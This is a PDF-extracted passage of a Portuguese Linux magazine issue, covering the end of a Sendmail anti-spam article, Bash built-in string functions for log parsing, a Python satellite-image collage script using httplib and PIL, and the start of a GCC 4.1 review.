Talvez você tenha que configurar seu firewall para permitir tráfego de saída nessas portas e assim deixar que se abram as devidas conexões às redes respectivas. Pode parecer um pouco paranóico usar todos esses três programas paralelamente, mas isso real-mente melhora a detecção de spam.

Solução 4Um método menos conhecido de com-bate ao spam, que só funciona em situ-ações específicas, é o Agente de entrega de mensagem etiquetada, ou Tagged Message Delivery Agent (TMDA) [10]. o TMDA utiliza uma abordagem de desafio e resposta na qual cada mensagem en-viada ao servidor para ser entregue deve provar a este que é legítima.

A figura 5 mostra como isso funciona a princípio: um servidor de email externo está tentando enviar uma mensagem para uma caixa de correio no nosso servidor. O nosso servidor de email pede que o reme-tente confirme a mensagem original, e não a entrega ao destinatário até que receba a confirmação. Spammers não enviarão DCC + Razor

+ PyzorOs parâmetros referidos acima especifi-cam os critérios de avaliação de dados a partir das três redes globais de email, que coletam e avaliam hashes de emails. As funções hash usadas para esse propó-sito funcionam de forma diferente das conhecidas funções hash MD5 e SHA1. Elas utilizam os chamados soft hashes, que permitem que alguns itens do email mudem, como por exemplo o destinatário, sem, no entanto, modificar o hash.

Cada servidor de email que usa essas redes externas envia para elas os hashes de todos os emails que recebe. Se 100.000 hashes chegarem à rede – e esse valor é configurável – você pode considerar que o email é spam. Afinal, é improvável que alguém envie 100.000 emails com con-teúdo idêntico e legítimo.

Rode o apt-get para instalar o DCC, o Razor e o Pyzor. O Spamassassin auto-maticamente detecta sua existência. O DCC requer um servidor DCC separado para volumes acima de 250.000 emails, e bloqueia qualquer acesso acima disto como um ataque de negação de serviço em potencial. Para verificar se esses plu-gins estão funcionando, você pode usar o Tcpdump para ver o cabeçalho dos emails considerados spam, ou as portas 6277/ Figura 6 Num cenário mais sofisticado de TMDA, o Spamassassin pré-seleciona as mensagens.

Email chegando

Servidor de Email

Mensagem deConfirmação

Caixa de entrada

Antivírus/ Anti-spam

Caixa de entrada

Caixa de entrada

Mensagem entregue

Valor > 2.5Entregar como Spam

Valor < 1= Lista Branca

1 < Valor < 2,5Pedidos

Entrega

Confirma oRemetente

Enviado ao

Aceito

Servidor de Email

Figura 5 Abordagem de desafio e resposta para impedir o spam por meio de TMDA.

Email chegando

Servidor de Email

Email de confirmação

Servidor de Email

Caixa de Email

Enviando ao

Pedido de confirmação

Aceito

Entrega


67



Mais Informações[1] Propriedades anti-spam do Sendmail:

http://www.sendmail.org/m4/anti_spam.html

[2] Sendmail: http://www.sendmail.org

[3] Amavis-new: http://www.ijs.si/ software/amavisd/

[4] “Proteção na fonte”, de Larkin Cunningham; Linux Magazine, Fevereiro de 2006, p. 35

[5] SecurityFocus e FrSirt: http://www.securityfocus.com e http://www.frsirt.com

[6] “Quer um bom antivírus?”, de James Mohr; Linux Magazine, Fevereiro de 2006, p. 27 :

[7] Maia Mailguard: http://www.renaissoft.com/maia/

[8] Configuração do Spamassassin para recebimento de emails: http://spamassassin.apache.org/ full/3.0.x/dist/doc/ Mail_SpamAssassin_Conf.html

[9] Valores de spam padrão do Spamassassin: http://spamassassin.apache.org/ tests_3_0_x.html

[10] TMDA: http://www.tmda.net

[11] Postal: http://www.cocker.com/postal/

uma mensagem de confirmação, já que eles geralmente enviam emails em massa, e nem receberão o pedido de confirmação, pois adulteram o endereço do remetente. Isso reduz a zero as mensagens indese-jadas, mas com um custo considerável causado pelo maior fluxo de emails. A figura 6 apresenta uma abordagem mais sofisticada para o TMDA.

Se optar por essa abordagem de to-lerância zero, você deve entender algu-mas coisas:➧ Como spammers normalmente usam

endereços de outras pessoas, o seu servidor de email não deve incomo-dar esses inocentes pedindo-os con-firmação. Em outras palavras, não peça confirmação de mensagens que já tenham sido marcadas como spam pelo filtro de spam.

➧ Emails com um nível de spam muito baixo podem ser entregues diretamen-te, sem passar pelo TMDA.

➧ Se dois sistemas TMDA por acaso se encontrarem, laços infinitos não podem ser excluídos. A página do TMDA [10] afirma que isso não deve acontecer, mas não há garantia. A FAQ na página aborda mais questões e sugere soluções.

➧ Você está advertido a fazer sua lista branca pessoal, independente do Spamassassin; sua melhor abordagem é adicionar seu catálogo de endereços. Listas brancas são particularmente importantes para registrar e usar em listas de emails.Um efeito colateral positivo é que

qualquer pessoa que mande email para você, e que não esteja na sua lista bran-ca, recebe uma confirmação de que a mensagem chegou. Além disso, deve-se notar que, devido a sua complexidade, o TMDA não é a solução perfeita para muitos usuários e situações.

DesempenhoUm servidor de emails que tente oferecer a solução perfeita em todos os cenários coloca sempre em risco o desempenho caso o volume de mensagens cresça. Por isso realizamos um teste de desempenho das soluções propostas neste artigo.

Utilizamos o Postal [11] para um teste de desempenho num Pentium 4 2.8 GHz com 512 MB de RAM. O programa de benchmark envia emails com um tama-nho máximo de 15KB para o servidor num período de cinco minutos. A solução 1 (Amavis sozinho) mostrou-se capaz de lidar com 600 emails por minuto. Ela levou mais cinco minutos para entregar

todas as mensagens. Ativar o ClamAV não reduziu significativamente a velocidade desse processo. Se você usar o Spamassas-sin com testes externos conforme descrito na solução 3, o desempenho dependerá fortemente da largura de banda da cone-xão do servidor à Internet, além de sua latência. O TMDA (solução 4) afeta o desempenho significativamente.

Tudo acaba bemObviamente este artigo não substitui um livro de 1000 páginas, e só pode ofereceer uma introdução ao Sendmail e alguns de seus componentes. O primeiro dos três designs que examinamos deve funcio-nar na primeira tentativa na maioria dos ambientes. Antes de utilizar a solução 4, deve-se pesar os prós e contras atenciosa-mente. O que todas as soluções têm em comum é a alta escalabilidade, devido a sua característica modular, seja pelo uso de discos separados para filas de emails, ou mesmo servidores distintos para cada componente individual. ■



Antigamente, os shells eram in-capazes de fazer muito mais do que chamar programas externos

e executar comandos internos básicos. Com todos os avanços da última versão do Bash, no entanto, você dificilmente precisará de ferramentas externas.

A principal vantagem das funções in-ternas é que o shell não precisa gerar um

novo processo, o que economiza memória e tempo de processamento . Essa facilidade pode ser importante, principalmente se você precisar rodar um programa como o grep ou cut num laço, já que o tempo de execução e o consumo de memória de um script podem explodir se você não tomar o devido cuidado. Este artigo descreve algumas técnicas simples para acelerar seus scripts de Bash.

Os seguintes scripts avaliam um ar-quivo de log do Apache num site simples-mente para comparação. Se você estiver interessado em saber quais páginas foram visitadas, você deve isolar a palavra GET no log. Eis um exemplo:

84.57.16.30 - - [21/Oct/2005:04:18:26➥ +0200] “GET /favicon.ico HTTP/1.1” 404➥ 209 “-” “Mozilla/5.0 (X11; U; Linux➥ i686; de-DE; rv:1.7.5) Gecko/20041122➥ Firefox/1.0”

O Exemplo 1 mostra uma abordagem usada por diversos scripts de Bash. A chamada do cat na linha 3 primeiro lê o arquivo inteiro, e o despeja no laço for como uma lista de parâmetros, o que significa que o Bash tem que guardar o conteúdo do arquivo primeiro. Na linha

5, o Exemplo 1 continua chamando o programa externo cut para cada entrada do log. Num Pentium III 750 MHz, esse script demorou mais de 18,5 segundos para examinar um arquivo de log do Apache com 600 KBytes.

Já o Exemplo 2 demorou apenas 3,3 segundos, quase seis vezes mais rápido:

ela usa o descritor de arquivo 3 para abrir o arquivo, e usa a variável Request para processar uma linha por vez num laço, fazendo o Bash examinar e guar-dar uma única entrada do log. O script então apaga os caracteres do início da linha até GET (inclusive) e todos os ca-racteres desde o fim da linha até HTTP/ (inclusive).

Seria possível economizar mais um décimo de segundo ao apagar todos os caracteres até aquele em branco desde o fim do pedido, pois assim simplifica-ríamos a comparação do texto realizada pela função interna do Bash.

Funções de substituiçãoAs ferramentas basename e dirname po-dem ser facilmente substituídas usando funções de Bash. Para tal, você precisa das funções de texto ${Variável%Padrão}, que apaga o menor padrão que casar, a partir do fim do texto, e ${Variável##Padrão}, que apaga o maior padrão que casar, a partir do início do texto. Somente um alias é necessário para substituir o dirname:

alias nome_do_dir=echo ${1%/*};

A funcionalidade para o basename não é muito mais complexa, porém você deve considerar o fato de que o basename consegue remover a extensão de artigos, o que significa combinar duas funções de texto:

Funções internas do Bash

Eficiência internaO Bash é o shell padrão de (quase) todas as distribuições Linux. Ele pode automatizar tarefas chamando programas externos em forma de scripts. Mas existem funções internas do próprio Bash que podem tornar seus scripts mais rápidos na escrita e na execução, sem chamar qualquer programa externo.por Mirko Dölle

Exemplo 1: Análise de um log com comandos externos01 #!/bin/bash02 03 IFS=$'\n'04 05 for l in `cat access.log`; do06 07 IFS=" "08 09 echo "${l}" | cut -d" " -f710 11 done

Exemplo 2: Análise de um log com comandos internos01 #!/bin/bash02 03 exec 3<access.log04 05 while read -u 3 Request; do06 07 Request=”${Request##*GET }”08 09 echo “${Request%% HTTP/*}”10 11 done

SY

SA

DM

IN

roy mattappallil – www.sxc.hu


69

| SYSADMINBash


01 function basename() {02 03 B=${1##*/}04 05 echo ${B%$2}06 07 }

É mais eficiente guardar o resultado do texto alterado na variável B do que usar o set para o primeiro parâmetro e passar o segundo parâmetro.

Mas também não faz sentido substituir cada chamada a programas externos. O Exemplo 3 é um bom exemplo disso: ela implementa um grep rudimentar. Em-bora o script use apenas algumas linhas de código, e a princípio possa parecer eficiente, ele leva mais de dois minutos para buscar um nome de arquivo num log de servidor web com 600 KBytes -- o grep realiza o mesmo em menos de um décimo de segundo.

O padrão de busca é o maior assassino de desempenho. Se um pedaço do texto casa com ele, a linha capturada do arqui-vo é toda deletada por um mecanismo de busca e substituição na linha 4. O padrão de busca, *${1}*, manda o Bash procurar o padrão em cada caractere de uma linha. Se você usar #*${1}* como padrão de bus-ca, mandando o Bash começar a busca somente no início da linha, o Bash só fará uma comparação por linha, o que reduz o tempo de execução do script para menos de três segundos. Mas isso ainda é cem vezes mais lento do que o grep.

Dissecando IPsEmbora as funções de texto não fossem o gargalo no último exemplo, pode have outras maneiras mais elegantes e rápidas de se dissecar texto em alguns casos. Por exemplo, se você precisa ordenar os ende-reços IP de onde pedidos se originaram, tanto o sort quanto uma função simples de ordenação léxica serão incapazes de ajudar. Esse procedimento retornaria 217.83.13.152 antes de 62.104.118.59. Em vez disso, será necessário extrair os bytes individuais do número IP, convertê-los para um formato ordenável, e então mos-trar os resultados sem repetição.

Os Exemplos 4 e 5 mostram duas for-mas possíveis com desempenhos comple-tamente diferentes. O script do Exemplo

4 começa examinando o arquivo de log linha por linha (linha 3), e depois extrai o primeiro IP na linha 4. As linhas 6 a 10 apagam um octeto por vez a partir do fim do número IP, e guarda o byte do endere-ço como um decimal no vetor IP.

A chamada na linha 11 ao printf, que também é um comando interno do Bash, serve para jogar na saída os quatro octetos do endereço IP como decimais de três dígitos separados por zero e sem preen-chimento. A última linha faz um pipe da saída do comando externo sort, antes que o uniq retire os números duplicados. O Exemplo 4 leva aproximadamente 2,6 segundos para processar um arquivo de log do Apache com 600 KBytes.

Funções para compactaçãoO programa do Exemplo 5 faz o mesmo que o do Exemplo 4, mas leva apenas 1,6 segundos, uma melhora de quase 40%. As funções para texto das linhas 4 a 10 do Exemplo 4 são os responsáveis pela dife-rença: em vez de extrair o IP primeiro e só então usar sete funções diferentes para dissecá-lo, o Exemplo 5 chama a função read interna do Bash com a variável IFS. O Bash trata os caracteres armazenados em IFS como separadores de parâmetros -- por padrão, são os caracteres de: espaço, tabulação e nova linha.

A linha 3 do Exemplo 5 define os carac-teres de ponto e espaço em branco como separadores. Chamar read com a opção -a manda a função não armazenar a linha inteira na variável, mas usar o separador a partir de IFS, e gravar a entrada na va-riável de vetor IP, um elemento de cada vez. Isso manda os octetos que compõem o IP direto para as variáveis IP[0] a IP[3] ao chamar read. O conteúdo dos elemen-tos do outro vetor não é importante ago-ra. Portanto, uma simples chamada de função no Exemplo 5 substitui as linhas

3 a 10 do Exemplo 4.Infelizmente, apesar de ser possível

substituir as chamadas aos comandos externos sort e uniq por funções de Bash correspondentes, não se pode esperar que um script de Bash alcance a efi-ciência do sort, um programa escrito em C. Assim como na vida real, alguns de nossos esforços de sintonia fina em Bash podem não melhorar a velocida-de do script, mas programar com vistas à eficiência continua sendo um bom negócio. ■

Exemplo 3: Grep interno01 #!/bin/bash02 03 exec 3<$204 05 while read -u 3 line; do06 07 if [ -z “${line/*${1}*}” ]; then08 09 echo “$line”10 11 fi12 13 done

Exemplo 4: Funções para texto01 #!/bin/bash02 03 function GetIP() {04 05 while read -u $1 Request; do06 07 tmp=”${Request%% *}”08 09 IP[1]=”${tmp%%.*}”10 11 IP[4]=”${tmp##*.}”12 13 tmp=”${tmp%.*}”14 15 IP[3]=”${tmp##*.}”16 17 tmp=”${tmp%.*}”18 19 IP[2]=”${tmp##*.}”20 21 printf “%03d.%03d.%03d.%03d\n” ${IP[1]} ${IP[2]}

➥ ${IP[3]} ${IP[4]}22 23 done24 25 }26 27 exec 3<access.log28 29 GetIP 3 | sort | uniq

Exemplo 5: Funções para texto01 #!/bin/bash02 03 function GetIP() {04 05 IFS=”. “06 07 while read -u $1 -a IP; do08 09 printf “%03d.%03d.%03d.%03d\n” ${IP[0]} ${IP[1]}

➥ ${IP[2]} ${IP[3]}10 11 done12 13 }14 15 exec 3<access.log16 17 GetIP 3 | sort | uniq

Mais Informações[1] Programas de exemplo:

http://www.linux-magazine.com/Magazine/Downloads/64/bash/



Toda vez que vemos o lançamento de um foguete ficamos assombra-dos diante da explosão da decola-

gem, os cientistas olhando atentamen-te seus painéis de controle e as cifras monstruosas que revelam quanto foi investido no projeto.

Ao nosso alcanceÉ então que surge a pergunta: “E como isso me afeta?” Certa vez tive uma con-versa no escritório da IEEE (Institute of Electrical and Electronics Engineers) de Málaga na qual me contaram que a maioria dos satélites transmitem para todo o mundo as imagens e dados que recolhem. Isso significa que, com o equi-pamento necessário, é possível receber na sua própria casa imagens fascinantes do universo, de Marte ou da Terra.

A temperatura do oceano, imagens meteorológicas do campo magnético do sol e das missões a Marte são enviadas constantemente à Terra a partir dessas máquinas espaciais. E o efeito é sempre o mesmo: o apresentador na televisão deixa os telespectadores deslumbrados com imagens incríveis, enquanto escu-tam acordes de sintetizador.

Mas essas imagens não são de domínio público? Onde posso consegui-las? Neste artigo, vamos utilizar o Python para criar

um script CGI que nos permite obter e manter atualizadas as imagens que que-remos, em uma espécie de colagem ou painel. Construiremos nosso próprio centro de controle espacial.

Obter as imagensA primeira coisa a fazer será encontrar as imagens e reuni-las. Vamos usar como exemplo quatro imagens de ca-

Imagens de satélite com Python

Python planetárioQuem nunca quis se sentir como os técnicos da Nasa em seu centro de controle? Hoje vamos criar o nosso próprio para monitorar o planeta e seus arredores.por José María Ruiz e Pedro Orantes

CuriosidadePouco tempo depois de este artigo ter sido finalizado, apareceu uma notícia no Slashdot (ver [4]) sobre uma labareda so-lar de tamanho suficiente para alterar as comunicações. Quando ocorre esse tipo de evento, em muitos centros de contro-le os engenheiros cruzam os dedos para que seus satélites não caiam ou se percam diante da onda de vento solar gerada. A labareda pode ser vista na figura 4.

Figura 1 A imagem original que será modificada com a biblioteca PIL.

Chris Lienert – www.sxc.hu

PR

OG

RA

MA

ÇÃ

O


71

| PROGRAMAÇÃOPython


ráter científico. Elas são atualizadas em intervalos diferentes, de maneira que poderemos ver como os eventos registrados evoluem. As URLs podem ser encontradas em [1].

Devemos baixar as imagens e armaze-ná-las em nosso programa. Faremos uso da biblioteca httplib que é parte da distri-buição padrão do Python. Essa biblioteca nos permitirá falar diretamente com um servidor web remoto sem termos que nos preocupar com os detalhes de nível mais baixo. A conversa será realizada com uso do protocolo HTTP. Esse protocolo é bastante simples e só precisaremos de uma parte mínima dele.

Quando Tim Berners Lee criou o desenho original da Web, quis que o protocolo para solicitação de documentos fosse o mais simples possível. O trabalho do HTTP se resume à recepção e en-vio de informações ao servidor, apenas isso. É composto de vários comandos, sendo os mais conhecidos o GET, que podemos traduzir como “pegar”, e o POST, “mandar” ou “enviar”. É assim que baixamos documentos e enviamos informações.

Uma parte importante do HTTP é a URL, que serve para dar nomes a esses documentos. Todos estamos acostumados a lidar com URLs, geralmente do tipo http://www.linuxmagazine.com.br/issue/. A URL é composta de: [protocolo]://[máquina]/[caminho]/[objeto]. Vamos ver agora por que é tão importante que saibamos disso.

A biblioteca httplib do Python estabe-lece o primeiro passo para uma conexão com o servidor remoto através do método HTTPConnection.

>>> c = httplib.HTTPConnection(“www.linuxmagazine.com.br”)>>>

Armazenamos na variável c o objeto que representa a conexão realizada, e podemos enviar solicitações.

>>> c.request(“GET”,”/issue/20”)>>>

Utilizamos o comando GET, e assim soli-citamos um objeto. O segundo parâmetro do método é o “caminho” até o objeto. A URL que estamos solicitando é http://www.linuxmagazine.com.br/. É importante que o caminho comece com uma barra “/”, como se fosse um caminho de diretório numa máquina. Como podemos saber se tudo correu bem?

>>> r = c.getresponse()>>> print r.status, r.reason200 OK>>>

Com o getresponse, obtemos um ob-jeto que representa os dados devolvidos pela conexão. Esse objeto tem, entre outros, os atributos status e reason, que nos indicam o estado, um número com um significado especial, e a explicação do mesmo. Nesse caso correu tudo bem e por isso recebemos um “OK”. Caso contrário, se a rota que pedimos não existisse, obteríamos:

>>> r = c.getresponse()>>> print r.status, r.reason400 Bad Request>>>

Agora que já temos a página, podemos lê-la usando o método read() do objeto com a resposta.

>>> print r.read()<html><head>

<base➥ href=”http://www.linuxmagazine.com.br/➥issue/20/” />

<title>Linux Magazine - 20...

Quando terminarmos, devemos fechar a conexão chamando o método close() do objeto que representa a conexão. Nesse caso seria:

>>> c.close()>>>

Para obter mais imagens, vamos fazer exatamente a mesma coisa: abrir uma co-nexão, pedir a imagem, armazená-la em um dicionário e fechar a conexão.

Python Imaging LibraryNossa idéia original era fazer um mural ou colagem com as imagens obtidas. O Python não oferece uma biblioteca de tratamento de imagens na sua distribui-ção padrão. Isso não quer dizer que não exista tal biblioteca. Não só ela existe, como além disso é muito útil e pode-rosa. Estamos nos referindo à Python Imaging Library (ver URL [2] em Mais

informações).A biblioteca PIL (Python Imaging

Library) nos permitirá tratar imagens em uma grande quantidade de formatos. Podemos convertê-las para outro formato, rotacioná-las, medi-las, fazer fusões etc. Quem já tiver experiência com progra-

Figura 2 A imagem do pequeno demônio do BSD rotacionada em 45 graus com PIL.

Exemplo 1: Exemplo de uso do PIL01 >>> painel = Image.new(‘RGB’,(600,480))02 >>> im = Image.open(“daemon.jpg”)03 >>> im.thumbnail((300,200),Image.ANTIALIAS)04 >>> painel.paste(im,(0,0))05 >>> painel.paste(im,(300,0))06 >>> painel.show()07 >>>

Exemplo 2: colagem.conf01 [tamanho]02 horizontal = 80003 vertical = 6000405 [imagens]06 url1 = http://www-mgcm.arc.nasa.gov/MarsToday/marstoday.gif07 url2 = http://www.sec.noaa.gov/sxi/current_sxi_4MKcorona.png08 url3 = http://www.ssec.wisc.edu/data/sst/latest_sst.gif09 url4 = http://www.wetterzentrale.de/pics/D2u.jpg



PROGRAMAÇÃO | Python

mas de manipulação gráfica, como por exemplo o GIMP [3], vai compreender a importância de uma biblioteca com essas funcionalidades.

Como o PIL não é um “item de sé-rie” do Python, devemos instalá-lo em nossa distribuição. Há pacotes RPM e DEB da biblioteca.

Como se trabalha com PIL? Através da manipulação de objetos da classe Image. Essa classe é capaz de armazenar imagens de quase todos os formatos, permitindo-nos manipulá-las. Vejamos um exemplo. Na figura 1 podemos ver a imagem original do arquivo daemon.jpg da minha equipe. Vamos rotacioná-la em 45 graus:

>>> import Image>>> im = Image.open(“daemon.jpg”)>>> img.rotate(45).show()>>>

Na figura 2 podemos ver o resulta-do. Usamos o método rotate(), ao qual passamos um ângulo de 45 graus, e no resultado invocamos o método show(), que mostrará o resultado com o progra-ma xv (para fechar o xv temos apenas que digitar q).

Mas no nosso exemplo não queremos rotacionar imagens, e sim medi-las. As imagens da web são grandes e nós que-remos criar um painel de tamanho fixo. Então devemos adaptar as imagens bai-xadas para que caibam no mural.

Para isso, vamos inserir as imagens em uma maior, mas há muitas ma-neiras de se fazer isso. A solução que adaptaremos para nosso caso é dividir a imagem-painel num número de qua-dros igual às imagens que vamos inse-rir. Mas como saberemos a quantidade

de quadros? Vamos escolher a menor potência de 2 que seja maior que nos-so número de imagens. Não é muito complicado. Por exemplo, se temos 7 imagens, 8 quadros (2 elevado a 3) se-rão suficientes. Basicamente multipli-caremos 2 por ele mesmo até que seja maior que o número de imagens que queremos mostrar. Graficamente o que faremos será ir dividindo a imagem em largura e altura em quadrados. Em cada iteração o número de quadrados será multiplicado por 2. Com esse método, perderemos espaço na imagem, mas será tão pouco que isso não complicará muito o código.

Criemos o thumbnailPrimeiro criaremos uma imagem vazia (veja o exemplo 1). A figura 3 mostra o resultado. Desta vez não carregamos ne-nhuma imagem, mas usamos o método new(), que necessita que definamos o tipo de pixel (“RGB” vem de Red,Green,Blue, vermelho,verde, azul, e é um dos forma-tos padrão) e as dimensões da imagem em pixels. No nosso caso escolhemos 600 pixels de largura por 480 de altura (preste atenção nos parênteses, porque a resolução é expressa como uma seqüên-cia do tipo (x, y)). Essa nova imagem não contém nada além de um decepcio-nante fundo preto. Vamos colocar um pouco de cor!

Pegamos a imagem do diabinho e cha-mamos o método thumbnail(), que mede a imagem tanto vertical quanto horizon-talmente. Temos que passar ao método o tamanho desejado como uma seqüência. A nova imagem terá um tamanho de 300x200 pixels. Ela pode aceitar um pa-râmetro adicional, que em nosso caso é Image.ANTIALIAS, que serve para melhorar a resolução da nova imagem.

Em seguida, usamos o método paste() de Image, que nos permi-te “colar” uma ima-gem dentro da outra nas coordenadas indi-cadas como segundo parâmetro. Colamos a imagem “daemon” duas vezes, a primeira na po-sição (0,0) do mural e a segunda na posição (300,0). Podemos ver o resultado usando o método show().

Arquivo de configuraçãoAs URLs e a resolução devem ser infor-madas ao programa, mas como? Há várias opções. Elas poderiam ser passadas para o programa em sua execução. Algumas URLs têm o problema de serem muito longas, e assim a linha de comando para executar o programa pode ser um empecilho.

Ao invés disso, usaremos um arquivo de configuração. Cada vez que o programa for executado, lerá o arquivo e saberá os parâmetros desejados.

E que formato terão os arquivos? A tendência atual é criar arquivos de configuração XML. Mas o XML pode ser bastante complicado se levarmos em consideração que nosso arquivo de configuração pode não ter mais de 10 linhas. No UNIX, a tendência é usar o formato “chave = valor” e é exatamente isso que faremos. O arquivo será como mostra o exemplo 2.

Leremos cada linha do arquivo, divi-dindo-a pelo = e usando a primeira parte como chave de um dicionário e a segunda parte como seu valor. Se a chave já existir, usaremos uma lista como seu valor, com os diferentes valores da linha como entra-da. Mas por que faríamos o trabalho sujo se alguém já tem uma solução?

O Python traz em sua distribuição pa-drão uma biblioteca de grande utilidade para nós. Alguém achou oportuno elaborar um analisador de arquivos de configuração, e chamou-o de ConfigParser. Com essa biblioteca podemos extrair a informação do arquivo de configuração.

O arquivo de configuração é com-posto por “Seções” e “Opções”. Cada seção contém várias opções, sendo que

Figura 3 Criamos uma imagem vazia com PIL e depois inserimos outras imagens dentro dela como em um mosaico.

Figura 4 Labaredas solares que ameaçam deixar fora de combate os satélites de comunicação.


73

| PROGRAMAÇÃOPython


os nomes das seções e opções devem ser únicos. Por isso as URLs começam com “url1”, “url2” e “url3”. Mas isso não será um problema. Vejamos como funciona o ConfigParser (confira o exemplo 3). Como podemos observar no exemplo, o uso do ConfigParser é muito simples. Primeiro é criado um analisador, guardando-o na variável config. Depois carregamos com o método readfp() o arquivo de configuração – esse método também analisa o arquivo. A partir desse momento, podemos fazer perguntas ao objeto armazenado em con-fig. Com sections() obtemos uma lista de seções e, com options(), a de opções. Com essa informação, já podemos re-colher os dados necessários usando o método get(), ao qual passamos uma seção e uma opção.

EncaixeAgora já temos:➧ Um sistema de configuração usando

ConfigParser.➧ Um sistema para descarregar as ima-

gens, usando httplib.➧ Um sistema para manipular as ima-

gens usando PIL.Resta então juntar tudo para que

possamos gerar a página que aparece na figura 5. O resultado final pode ser baixado de [5].

Criaremos uma classe Colagem com os métodos:➧ _carregaConf()➧ _baixa()➧ _totalXY()➧ geraColagem()➧ _geraImagem()➧ _geraHTML()

Quando um método começa com _, torna-se privado. Qualquer tentativa de uso desse método gerará uma exceção. Por isso esses métodos não podem ser chamados de fora do objeto Colagem. Dessa maneira, Colagem só possui um método acessível de fora: geraColagem(). A geração do HTML foi separada daquela da colagem para possibilitar as futuras extensões do obje-to. Por exemplo, poderíamos não querer gerar um arquivo HTML, mas incorporar a imagem em um programa. Nesse caso, herdaríamos de Colagem e criaríamos um novo método geraColagem(), que só gerasse e retornasse a imagem.

O método _geraHTML() gera o código HTML da página web. Um ponto impor-tante é que gera um mapa sobre a colagem, de maneira que seja possível clicar sobre as diferentes imagens que aparecem nele. Ao fazer isso, a imagem será carregada

no tamanho natural. O mapa é gerado consultando-se o dicionário de imagens. Cada entrada do dicionário contém um objeto da classe Imagem.

Imagem guarda a informação de cada imagem baixada enquanto o programa a armazena. São armazenados os dados próprios de cada imagem, como, por exemplo, as coordenadas que ocuparão finalmente a colagem.

Como sempre, espera-se que o leitor dedique algum tempo para testar o pro-grama para adaptá-lo às suas necessida-des ou idéias.

ConclusãoA complexidade de um programa em Python não está na quantidade de linhas de código, e sim no nível em que se tra-balha. No programa deste artigo, fizemos uso intensivo das bibliotecas que reali-zaram ações bastante complicadas por nós. O Python possui um amplo leque de bibliotecas a serem exploradas, mui-

tas delas com anos de desenvolvimento, esperando por programadores com idéias originais para pô-las em prática. ■

Exemplo 3: Uso do ConfigParser01 >>> config = ConfigParser.ConfigParser()02 >>> config.readfp(open(‘colagem.conf’))03 >>> config.sections()04 [‘tamanho’, ‘imagens’]05 >>>06 >>> config.options(‘imagem’)07 [‘url1’, ‘url3’, ‘url2’]08 >>>09 >>> config.get(‘imagem’,’url1’)10 ‘”http://www-mgcm.arc.nasa.gov/MarsToday/marstoday.gif”’

Mais Informações[1] Imagens utilizadas:

http://www-mgcm.arc.nasa.gov/MarsToday/marstoday.gif ; http://www.sec.noaa.gov/sxi/current_sxi_4MKcorona.png ; http://www.ssec.wisc.edu/data/sst/latest_sst.gif ; http://www.wetterzentrale.de/ pics/D2u.jpg

[2] Python Imaging Library: http://www.pythonware.com/ products/pil/

[3] GIMP: http://www.gimp.org

[4] Notícia sobre a labareda solar no Slashdot: http://science.slashdot.org/science/05/09/08/ 1933205.shtml?tid=215&tid=14

Figura 5 Nosso painel de controle espacial pronto e uma página web gerada dinamicamente.



O GCC 4.1 foi lançado com um atraso de apenas uma semana [1]. O Release Manager Mark

Mitchell foi forçado a adiar um pouco a data do lançamento para incluir o suporte a pontos flutuantes de 128 bits na arqui-tetura PowerPC, pois esse é um recurso importante da futura Glibc.

Parser manualUma das mudanças profundas é o uso do parser de C++ da última versão do GCC agora também para C e Objective-C. O parser recursivo descendente escri-to manualmente (isto é, não foi escrito com um gerador de parsers tradicional como o Bison ou o Yacc) é mais rápido, e espera-se que seja mais fácil de manter a longo prazo.

A Apple acrescentou a capacidade de misturar Objective-C com C++ ao GCC do MacOS X há algum tempo. Objec-tive-C é uma alternativa ao C++ que oferece orientação a objetos com uma sintaxe que lembra a do Smalltalk, junto com tipagem dinâmica e introspecção. Porém, faltam-lhe estruturas modernas do C++, como templates e namespaces. O Objective-C++ agora oferece a pos-sibilidade de misturar características de C++ com Objective-C, ou simplesmen-te utilizar bibliotecas C++ com código Objective-C.

Os desenvolvedores do GCC integra-ram o protetor de stack smashing (Stack Smashing Protector, ou SSP), desenvolvido

pela IBM e disponível há algum tempo como patch [2]. Programas compilados com suporte a SSP mudam a ordem das variáveis na pilha para evitar a manipula-ção maliciosa ou inadvertida. O SSP per-mite que os programadores criem funções para detectar estouros de buffer.

Os programadores do GCC ainda es-tenderam consideravalmente a biblioteca Java que implementa importantes aspectos da API do Java, incluindo o conjunto de ferramentas gráficas AWT e o Swing. Os aplicativos Java sozinhos compõem mais de um terço do Changelog [3]. O GCJ e o GNU Classpath suportam a compi-lação do ambiente de desenvolvimento Eclipse, escrito em Java, sem qualquer modificação no código.

As novas otimizações, baseadas na infraestrutura Tree SSA introduzida na versão 4.0, agora funcionam além dos limites das funções. Isso oferece um es-quema mais confiável para a detecção de pedaços de código não utilizados, can-didatos a inlining, e variáveis completa-mente removidas pelas otimizações. Os desenvolvedores também melhoraram a vetorização automática, que mapeia la-ços em unidades de vetores, como SSE (Intel/AMD) e Altivec (PowerPC).

VelhariasAssim como nas versões anteriores, as extensões GNU foram retiradas das lin-guagens padronizadas para garantir uma grande portabilidade dos aplicativos para

diversas plataformas e compiladores. Dessa vez, declarações friend em classes foram limadas na limpeza:

struct a { friend void f() { ... }};

No GCC 4.1 os programadores C++ devem definir uma função friend em conformidade com os padrões fora da classe:

struct a { friend void f();}

void f() { ...}

Namespaces superespecificados (extra qualification), usados em muitos progra-mas em C++, são outra vítima, como de-monstrado pelo programador do Debian Martin Michlmayr em [4].

class b { void b::f ();};

O compilador GNU agora retorna um erro: error: extra qualification ‘b::’ on member ‘f’. Neste exemplo, é necessá-rio apagar o b:: na frente dos métodos da classe.

A nova versão do compilador GNU (GCC) vem com uma safra novíssima de

otimizações e suporte a Objective-C++. O parser descendente introduzido na versão

4.0 agora é usado para C e Objective-C.por René Rebe

Novidades e benchmarks do GCC 4.1

Teste de vôo

PR

OG

RA

MA

ÇÃ

O


75

| PROGRAMAÇÃOGCC


VelocidadeComo em meus artigos anteriores sobre o compilador GNU, novamente eu usei o Openbench para descobrir como o com-pilador atual se compara a seus anteces-sores (veja a caixa Benchmarks).

Como muitos outros desenvolvedo-res de código aberto têm interesse num benchmark livre com propriedades se-melhantes às do SPEC, já antecipo que uma versão inicial de referência do Openbench será paralizada este ano para comparações futuras. Seus comentários e ajuda são bem-vindos.

Por sugestão de vários leitores, medi o tempo com -O0, embora isso torne os diagramas mais dinâmicos. As novas versões do GCC compilam muito mais

rápido se a otimização for desativada. O -O0 é particularmente útil no ciclo de edição-e-compilação durante o de-senvolvimento. O sistema Athlon que eu usava antes agora foi trocado por um AMD64 Turion64.

